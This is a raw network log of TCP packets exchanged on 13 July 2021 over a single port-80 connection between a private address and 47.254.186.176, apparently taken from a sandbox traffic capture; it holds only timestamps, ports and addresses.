Jul 13, 2021 14:37:54.872380018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872390985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872395039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872411013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872421026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872430086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872447014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872453928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872462034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872473001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872477055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872493029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872507095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872513056 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872522116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872535944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872554064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872555017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872570992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872582912 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872585058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872601032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872608900 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872617006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872632027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872642994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872649908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872670889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872679949 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872698069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872735023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872749090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872760057 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872769117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872795105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872817993 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872817993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872853994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872888088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872910976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872931957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872956038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872961998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872980118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873001099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873023033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873034000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.873071909 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.873114109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873135090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873156071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873176098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873178005 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.873202085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.873505116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873528004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873548031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873563051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.873563051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873579025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873596907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873609066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.873613119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873627901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873648882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873651028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.873670101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873691082 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.873703957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.873704910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873727083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873755932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.873934031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873955011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873976946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.873990059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.873996973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874017000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874030113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.874066114 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.874078035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874114037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874145031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874156952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.874172926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874205112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874217987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.874226093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874258995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874260902 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.874291897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874349117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.874355078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874377012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874407053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874438047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.874450922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874483109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874507904 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.874514103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874567032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874577045 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.874721050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874779940 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.874790907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874845028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874876022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874897003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874917030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.874921083 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.874967098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.875209093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875231028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875251055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875272036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875281096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.875307083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875319004 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.875328064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875349045 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.875359058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875389099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875400066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.875417948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875437975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875462055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.875468016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875500917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875509977 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.875534058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875562906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875586987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875605106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.875613928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875636101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875652075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875683069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875716925 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.875720978 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.875756025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875765085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.875777960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.875818968 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876029968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876050949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876072884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876092911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876106024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876113892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876135111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876161098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876162052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876199961 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876211882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876231909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876266956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876271009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876287937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876307964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876318932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876332045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876344919 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876354933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876383066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876401901 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876403093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876425028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876445055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876451969 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876468897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876488924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876496077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876512051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876533031 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876909018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876930952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876951933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876955986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.876972914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.876996994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877003908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877052069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877259970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877280951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877300978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877316952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877337933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877346992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877358913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877372980 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877392054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877394915 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877439022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877461910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877480984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877487898 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877502918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877523899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877546072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877547979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877563000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877571106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877593040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877613068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877624035 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877634048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877662897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877671003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877691031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877695084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877738953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877767086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877785921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.877824068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.877881050 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.878482103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878529072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878611088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878650904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878685951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.878704071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.878732920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878755093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878772020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878801107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878819942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.878835917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878854036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.878856897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878891945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878910065 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.878921032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878948927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.878957987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.878983021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879014969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879031897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879054070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879090071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879134893 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879153013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879174948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879209042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879229069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879241943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879251957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879281998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879311085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879339933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879354000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879360914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879384995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879395008 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879419088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879432917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879446983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879473925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879496098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879497051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879514933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879540920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879571915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879580021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879592896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879616022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879648924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879671097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879682064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879699945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879726887 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879729033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879760027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879777908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879781961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879817009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879848003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879854918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879884005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879904985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879906893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879940987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.879964113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.879988909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880009890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880047083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880048037 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.880090952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.880203009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880374908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880412102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880413055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.880443096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880471945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880486965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.880496025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880537033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880562067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.880577087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880599022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880631924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880644083 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.880661964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880675077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.880697966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880726099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880753994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880755901 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.880774975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880799055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.880811930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880835056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880860090 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.880867004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.880914927 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.881048918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881069899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881109953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881110907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.881134033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881167889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881175041 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.881196976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881217957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881254911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881258965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.881283998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881295919 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.881567001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881609917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881649971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881663084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.881694078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881712914 CEST	49757	80	192.168.2.3	47.254.186.176
